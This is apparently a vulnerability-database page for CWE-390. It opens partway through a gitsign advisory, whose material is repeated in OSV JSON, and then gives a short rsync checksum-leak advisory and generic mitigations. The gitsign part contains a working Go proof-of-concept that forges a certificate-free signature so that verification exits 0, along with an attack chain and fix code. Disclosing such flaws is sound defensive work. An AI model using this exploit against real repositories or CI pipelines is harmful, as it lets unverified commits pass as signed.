- Integrity Impact: Low — exit-code-only callers (scripts, some CI pipelines) treat the panicked verification as success; git's own status-fd path checks for
GOODSIGand is therefore partially protected - Availability Impact: Low — the verification process aborts via panic on every invocation with such a signature
Affected Component
pkg/git/verifier.go—(*CertVerifier).Verify(line 114)internal/io/streams.go—(*Streams).Wrap(lines 71–84, the recovery that returns nil on panic)
CWE
- CWE-129: Improper Validation of Array Index
- CWE-390: Detection of Error Condition Without Action Taken (panic swallowed, nil returned)
Description
Unconditional index dereference after GetCertificates
CertVerifier.Verify() parses the incoming signature as CMS/PKCS7 and calls GetCertificates() to extract the signer's certificate before any signature math takes place:
// pkg/git/verifier.go:109–114
certs, err := sd.GetCertificates()
if err != nil {
return nil, fmt.Errorf("error getting signature certs: %w", err)
}
cert := certs[0] // panic: index out of range if certs is empty
GetCertificates() delegates to sd.psd.X509Certificates() (the upstream smimesign/ietf-cms library). RFC 5652 §5.1 marks the certificates field in SignedData as OPTIONAL, and an empty or absent set is a structurally valid CMS message. The library returns (nil, nil) or ([]*, nil) for such a message — an empty slice with no error — so the length check on err is irrelevant:
// internal/fork/ietf-cms/signed_data.go:53–55
func (sd *SignedData) GetCertificates() ([]*x509.Certificate, error) {
return sd.psd.X509Certificates() // returns ([], nil) for empty cert set
}
There is no length guard anywhere between GetCertificates() and the certs[0] dereference.
Panic recovery silently returns exit 0
All root-command invocations (including gitsign --verify, which git calls for verify-commit) are wrapped by (*Streams).Wrap:
// internal/commands/root/root.go:69–95
RunE: func(cmd *cobra.Command, args []string) error {
s := io.New(o.Config.LogPath)
defer s.Close()
return s.Wrap(func() error { // panic recovery is here
...
case o.FlagVerify:
return commandVerify(o, s, args...)
...
})
},
Wrap uses a bare recover() inside a defer:
// internal/io/streams.go:71–84
func (s *Streams) Wrap(fn func() error) error {
defer func() {
if r := recover(); r != nil {
fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))
// ← no named return, no assignment; Wrap returns nil
}
}()
if err := fn(); err != nil {
fmt.Fprintln(s.TTYOut, err)
return err
}
return nil
}
In Go, a recover() in a defer does not modify the enclosing function's return value unless named returns are used. When fn() panics, the defer fires, prints the panic message and stack trace to TTYOut, and then Wrap returns the zero value for error — which is nil.
main.go then sees nil from rootCmd.Execute() and exits 0:
// main.go:37–39
if err := rootCmd.Execute(); err != nil {
os.Exit(1) // NOT reached
}
// process falls through → exit 0
GPG status-fd provides partial protection for git verify-commit
git verify-commit passes --status-fd=1 to gitsign. The GPG status protocol requires GOODSIG in the status output for git to treat the signature as valid. In commandVerify, EmitGoodSig is only called after v.Verify() succeeds:
// internal/commands/root/verify.go:49–90
gpgout.Emit(gpg.StatusNewSig) // written before verification
summary, err := v.Verify(ctx, data, sig, true) // PANIC here
// lines below never reached:
gpgout.EmitGoodSig(summary.Cert)
gpgout.EmitTrustFully()
Because the panic fires inside v.Verify(), only NEWSIG (not GOODSIG) is written to the status-fd. Modern git reads this output and still considers the commit unverified. However, scripts and CI tools that check only the exit code of gitsign --verify see exit 0 and consider verification successful.
Execution chain to impact
- Attacker strips all certificates from a valid gitsign PKCS7 signature using
sd.SetCertificates([]*x509.Certificate{})and re-serializes the message. - Attacker attaches this certificate-free signature as the
gpgsigfield of a commit and pushes it to an accessible repository (or delivers the.pemfile directly). - Victim runs
gitsign --verify <sig> <data>orgit verify-commit <commit>(which internally invokesgitsign --verify). CertVerifier.Verify()panics atcerts[0]withindex out of range [0] with length 0.Wrap()recovers the panic and returns nil; process exits 0.- Any caller that checks only the exit code considers verification successful.
Proof of Concept
// make_bad_sig.go — run from repo root: go run ./make_bad_sig.go
// Then: go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo "exit: $?"
package main
import (
"crypto/x509"
"encoding/pem"
"fmt"
"io"
"os"
"github.com/go-git/go-git/v5/plumbing"
"github.com/go-git/go-git/v5/plumbing/object"
"github.com/go-git/go-git/v5/storage/memory"
cms "github.com/sigstore/gitsign/internal/fork/ietf-cms"
)
func main() {
raw, err := os.ReadFile("internal/e2e/testdata/offline.commit")
if err != nil {
panic(err)
}
st := memory.NewStorage()
obj := st.NewEncodedObject()
obj.SetType(plumbing.CommitObject)
w, _ := obj.Writer()
_, _ = w.Write(raw)
_ = w.Close()
c, err := object.DecodeCommit(st, obj)
if err != nil {
panic(err)
}
blk, _ := pem.Decode([]byte(c.PGPSignature))
if blk == nil {
panic("no pem block in commit signature")
}
sd, err := cms.ParseSignedData(blk.Bytes)
if err != nil {
panic(err)
}
// Strip all certificates from the SignedData
if err := sd.SetCertificates([]*x509.Certificate{}); err != nil {
panic(err)
}
der, err := sd.ToDER()
if err != nil {
panic(err)
}
badSig := pem.EncodeToMemory(&pem.Block{Type: "SIGNED MESSAGE", Bytes: der})
mo := new(plumbing.MemoryObject)
_ = c.EncodeWithoutSignature(mo)
r, _ := mo.Reader()
data, _ := io.ReadAll(r)
_ = os.WriteFile("/tmp/gitsign-badsig.pem", badSig, 0644)
_ = os.WriteFile("/tmp/gitsign-data.bin", data, 0644)
fmt.Println("Wrote /tmp/gitsign-badsig.pem and /tmp/gitsign-data.bin")
}
Expected output after go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo "exit: $?":
runtime error: index out of range [0] with length 0
goroutine 1 [running]:
runtime/debug.Stack(...)
...
github.com/sigstore/gitsign/pkg/git.(*CertVerifier).Verify(...)
pkg/git/verifier.go:114 +0x...
...
exit: 0 ← process exits 0 despite verification failure
Impact
- Authentication bypass for exit-code callers: Any script or CI pipeline running
gitsign --verifyand checking only$?will treat the panicked verification as a success (exit 0). This allows an attacker to make a commit appear verified without a valid signature. - Denial of service: Every verification attempt against a crafted signature panics, preventing legitimate verification output from being produced.
- Misleading output: The panic stack trace is written to TTYOut (stderr in non-TTY environments), which may be silently discarded by callers that redirect stderr.
- Partial bypass of git verify-commit: git itself is protected by the
GOODSIGcheck on the status-fd; however, the exit-code bypass affects auxiliary tooling that wrapsgitsign --verifydirectly.
Recommended Remediation
Option 1: Guard the slice access (preferred — lowest layer, protects all callers)
Add an explicit length check in CertVerifier.Verify() immediately after GetCertificates():
// pkg/git/verifier.go — replace lines 110–114
certs, err := sd.GetCertificates()
if err != nil {
return nil, fmt.Errorf("error getting signature certs: %w", err)
}
if len(certs) == 0 {
return nil, fmt.Errorf("no certificates found in signature")
}
cert := certs[0]
This produces a clean error at the source instead of a panic, propagated through commandVerify as a non-nil return, so Wrap returns it, Execute() returns it, and main.go exits 1.
Option 2: Return an error instead of nil on panic recovery
Fix Wrap() to return an error when it recovers a panic, so that all callers reliably see a non-zero exit code:
// internal/io/streams.go — replace Wrap with named return
func (s *Streams) Wrap(fn func() error) (retErr error) {
defer func() {
if r := recover(); r != nil {
fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))
retErr = fmt.Errorf("panic: %v", r) // propagate as error
}
}()
if err := fn(); err != nil {
fmt.Fprintln(s.TTYOut, err)
return err
}
return nil
}
This is a defense-in-depth fix. It ensures that any future panic in a command results in exit 1 rather than 0. Option 1 should be applied regardless; Option 2 prevents similar bypass bugs from any other panic source.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/gitsign"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44310"
],
"database_specific": {
"cwe_ids": [
"CWE-129",
"CWE-390"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T17:37:45Z",
"nvd_published_at": "2026-05-15T17:16:47Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`CertVerifier.Verify()` in `pkg/git/verifier.go` unconditionally dereferences `certs[0]` after `sd.GetCertificates()` without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; `GetCertificates()` returns an empty slice with no error, causing an immediate index-out-of-range panic. On the `gitsign --verify` code path (the GPG-compatible mode invoked by `git verify-commit`), the panic is silently recovered by `internal/io/streams.go`\u0027s `Wrap()` function, which returns `nil` instead of an error. `main.go` then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.8)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network \u2014 attacker pushes a commit carrying a crafted signature to any accessible repository, or delivers the signature file out-of-band\n- **Attack Complexity:** Low \u2014 stripping certificates from a PKCS7 object requires only standard ASN.1 tooling\n- **Privileges Required:** None \u2014 writing to an accessible repo (or creating a repo a victim clones) is sufficient\n- **User Interaction:** Required \u2014 victim must run `git verify-commit`, `gitsign --verify`, or an equivalent verification step\n- **Scope:** Unchanged\n- **Confidentiality Impact:** None\n- **Integrity Impact:** Low \u2014 exit-code-only callers (scripts, some CI pipelines) treat the panicked verification as success; git\u0027s own status-fd path checks for `GOODSIG` and is therefore partially protected\n- **Availability Impact:** Low \u2014 the verification process aborts via panic on every invocation with such a signature\n\n## Affected Component\n\n- `pkg/git/verifier.go` \u2014 `(*CertVerifier).Verify` (line 114)\n- `internal/io/streams.go` \u2014 `(*Streams).Wrap` (lines 71\u201384, the recovery that returns nil on panic)\n\n## CWE\n\n- **CWE-129**: Improper Validation of Array Index\n- **CWE-390**: Detection of Error Condition Without Action Taken (panic swallowed, nil returned)\n\n## Description\n\n### Unconditional index dereference after GetCertificates\n\n`CertVerifier.Verify()` parses the incoming signature as CMS/PKCS7 and calls `GetCertificates()` to extract the signer\u0027s certificate before any signature math takes place:\n\n```go\n// pkg/git/verifier.go:109\u2013114\ncerts, err := sd.GetCertificates()\nif err != nil {\n return nil, fmt.Errorf(\"error getting signature certs: %w\", err)\n}\ncert := certs[0] // panic: index out of range if certs is empty\n```\n\n`GetCertificates()` delegates to `sd.psd.X509Certificates()` (the upstream `smimesign/ietf-cms` library). RFC 5652 \u00a75.1 marks the `certificates` field in `SignedData` as `OPTIONAL`, and an empty or absent set is a structurally valid CMS message. The library returns `(nil, nil)` or `([]*, nil)` for such a message \u2014 an empty slice with no error \u2014 so the length check on `err` is irrelevant:\n\n```go\n// internal/fork/ietf-cms/signed_data.go:53\u201355\nfunc (sd *SignedData) GetCertificates() ([]*x509.Certificate, error) {\n return sd.psd.X509Certificates() // returns ([], nil) for empty cert set\n}\n```\n\nThere is no length guard anywhere between `GetCertificates()` and the `certs[0]` dereference.\n\n### Panic recovery silently returns exit 0\n\nAll root-command invocations (including `gitsign --verify`, which git calls for `verify-commit`) are wrapped by `(*Streams).Wrap`:\n\n```go\n// internal/commands/root/root.go:69\u201395\nRunE: func(cmd *cobra.Command, args []string) error {\n s := io.New(o.Config.LogPath)\n defer s.Close()\n return s.Wrap(func() error { // panic recovery is here\n ...\n case o.FlagVerify:\n return commandVerify(o, s, args...)\n ...\n })\n},\n```\n\n`Wrap` uses a bare `recover()` inside a `defer`:\n\n```go\n// internal/io/streams.go:71\u201384\nfunc (s *Streams) Wrap(fn func() error) error {\n defer func() {\n if r := recover(); r != nil {\n fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))\n // \u2190 no named return, no assignment; Wrap returns nil\n }\n }()\n if err := fn(); err != nil {\n fmt.Fprintln(s.TTYOut, err)\n return err\n }\n return nil\n}\n```\n\nIn Go, a `recover()` in a `defer` does not modify the enclosing function\u0027s return value unless named returns are used. When `fn()` panics, the `defer` fires, prints the panic message and stack trace to TTYOut, and then `Wrap` returns the zero value for `error` \u2014 which is `nil`.\n\n`main.go` then sees nil from `rootCmd.Execute()` and exits 0:\n\n```go\n// main.go:37\u201339\nif err := rootCmd.Execute(); err != nil {\n os.Exit(1) // NOT reached\n}\n// process falls through \u2192 exit 0\n```\n\n### GPG status-fd provides partial protection for git verify-commit\n\n`git verify-commit` passes `--status-fd=1` to gitsign. The GPG status protocol requires `GOODSIG` in the status output for git to treat the signature as valid. In `commandVerify`, `EmitGoodSig` is only called after `v.Verify()` succeeds:\n\n```go\n// internal/commands/root/verify.go:49\u201390\ngpgout.Emit(gpg.StatusNewSig) // written before verification\n\nsummary, err := v.Verify(ctx, data, sig, true) // PANIC here\n// lines below never reached:\ngpgout.EmitGoodSig(summary.Cert)\ngpgout.EmitTrustFully()\n```\n\nBecause the panic fires inside `v.Verify()`, only `NEWSIG` (not `GOODSIG`) is written to the status-fd. Modern git reads this output and still considers the commit unverified. However, scripts and CI tools that check only the exit code of `gitsign --verify` see exit 0 and consider verification successful.\n\n### Execution chain to impact\n\n1. Attacker strips all certificates from a valid gitsign PKCS7 signature using `sd.SetCertificates([]*x509.Certificate{})` and re-serializes the message.\n2. Attacker attaches this certificate-free signature as the `gpgsig` field of a commit and pushes it to an accessible repository (or delivers the `.pem` file directly).\n3. Victim runs `gitsign --verify \u003csig\u003e \u003cdata\u003e` or `git verify-commit \u003ccommit\u003e` (which internally invokes `gitsign --verify`).\n4. `CertVerifier.Verify()` panics at `certs[0]` with `index out of range [0] with length 0`.\n5. `Wrap()` recovers the panic and returns nil; process exits 0.\n6. Any caller that checks only the exit code considers verification successful.\n\n## Proof of Concept\n\n```go\n// make_bad_sig.go \u2014 run from repo root: go run ./make_bad_sig.go\n// Then: go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo \"exit: $?\"\npackage main\n\nimport (\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\n\t\"github.com/go-git/go-git/v5/plumbing\"\n\t\"github.com/go-git/go-git/v5/plumbing/object\"\n\t\"github.com/go-git/go-git/v5/storage/memory\"\n\tcms \"github.com/sigstore/gitsign/internal/fork/ietf-cms\"\n)\n\nfunc main() {\n\traw, err := os.ReadFile(\"internal/e2e/testdata/offline.commit\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tst := memory.NewStorage()\n\tobj := st.NewEncodedObject()\n\tobj.SetType(plumbing.CommitObject)\n\tw, _ := obj.Writer()\n\t_, _ = w.Write(raw)\n\t_ = w.Close()\n\n\tc, err := object.DecodeCommit(st, obj)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tblk, _ := pem.Decode([]byte(c.PGPSignature))\n\tif blk == nil {\n\t\tpanic(\"no pem block in commit signature\")\n\t}\n\n\tsd, err := cms.ParseSignedData(blk.Bytes)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Strip all certificates from the SignedData\n\tif err := sd.SetCertificates([]*x509.Certificate{}); err != nil {\n\t\tpanic(err)\n\t}\n\n\tder, err := sd.ToDER()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tbadSig := pem.EncodeToMemory(\u0026pem.Block{Type: \"SIGNED MESSAGE\", Bytes: der})\n\n\tmo := new(plumbing.MemoryObject)\n\t_ = c.EncodeWithoutSignature(mo)\n\tr, _ := mo.Reader()\n\tdata, _ := io.ReadAll(r)\n\n\t_ = os.WriteFile(\"/tmp/gitsign-badsig.pem\", badSig, 0644)\n\t_ = os.WriteFile(\"/tmp/gitsign-data.bin\", data, 0644)\n\tfmt.Println(\"Wrote /tmp/gitsign-badsig.pem and /tmp/gitsign-data.bin\")\n}\n```\n\n**Expected output after `go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo \"exit: $?\"`:**\n\n```\nruntime error: index out of range [0] with length 0\ngoroutine 1 [running]:\nruntime/debug.Stack(...)\n...\ngithub.com/sigstore/gitsign/pkg/git.(*CertVerifier).Verify(...)\n pkg/git/verifier.go:114 +0x...\n...\nexit: 0 \u2190 process exits 0 despite verification failure\n```\n\n## Impact\n\n- **Authentication bypass for exit-code callers**: Any script or CI pipeline running `gitsign --verify` and checking only `$?` will treat the panicked verification as a success (exit 0). This allows an attacker to make a commit appear verified without a valid signature.\n- **Denial of service**: Every verification attempt against a crafted signature panics, preventing legitimate verification output from being produced.\n- **Misleading output**: The panic stack trace is written to TTYOut (stderr in non-TTY environments), which may be silently discarded by callers that redirect stderr.\n- **Partial bypass of git verify-commit**: git itself is protected by the `GOODSIG` check on the status-fd; however, the exit-code bypass affects auxiliary tooling that wraps `gitsign --verify` directly.\n\n## Recommended Remediation\n\n### Option 1: Guard the slice access (preferred \u2014 lowest layer, protects all callers)\n\nAdd an explicit length check in `CertVerifier.Verify()` immediately after `GetCertificates()`:\n\n```go\n// pkg/git/verifier.go \u2014 replace lines 110\u2013114\ncerts, err := sd.GetCertificates()\nif err != nil {\n return nil, fmt.Errorf(\"error getting signature certs: %w\", err)\n}\nif len(certs) == 0 {\n return nil, fmt.Errorf(\"no certificates found in signature\")\n}\ncert := certs[0]\n```\n\nThis produces a clean error at the source instead of a panic, propagated through `commandVerify` as a non-nil return, so `Wrap` returns it, `Execute()` returns it, and `main.go` exits 1.\n\n### Option 2: Return an error instead of nil on panic recovery\n\nFix `Wrap()` to return an error when it recovers a panic, so that all callers reliably see a non-zero exit code:\n\n```go\n// internal/io/streams.go \u2014 replace Wrap with named return\nfunc (s *Streams) Wrap(fn func() error) (retErr error) {\n defer func() {\n if r := recover(); r != nil {\n fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))\n retErr = fmt.Errorf(\"panic: %v\", r) // propagate as error\n }\n }()\n if err := fn(); err != nil {\n fmt.Fprintln(s.TTYOut, err)\n return err\n }\n return nil\n}\n```\n\nThis is a defense-in-depth fix. It ensures that any future panic in a command results in exit 1 rather than 0. Option 1 should be applied regardless; Option 2 prevents similar bypass bugs from any other panic source.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-7c37-gx6w-8vc5",
"modified": "2026-05-15T23:49:44Z",
"published": "2026-05-08T17:37:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/gitsign/security/advisories/GHSA-7c37-gx6w-8vc5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44310"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/gitsign"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "gitsign --verify panics on empty-certificate PKCS7 and exits 0, bypassing exit-code callers"
}
GHSA-82C6-8MFC-C23H
Vulnerability from github – Published: 2025-01-14 18:32 – Updated: 2026-06-24 18:32A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client's machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.
{
"affected": [],
"aliases": [
"CVE-2024-12086"
],
"database_specific": {
"cwe_ids": [
"CWE-390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T18:15:25Z",
"severity": "MODERATE"
},
"details": "A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client\u0027s machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.",
"id": "GHSA-82c6-8mfc-c23h",
"modified": "2026-06-24T18:32:24Z",
"published": "2025-01-14T18:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/security-research/security/advisories/GHSA-p5pg-x43v-mvqj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12086"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2025:6470"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19368"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20603"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29197"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-12086"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2330577"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/952657"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00008.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250131-0002"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/952657"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.
Mitigation
If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.
Mitigation
Subject the product to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.
No CAPEC attack patterns related to this CWE.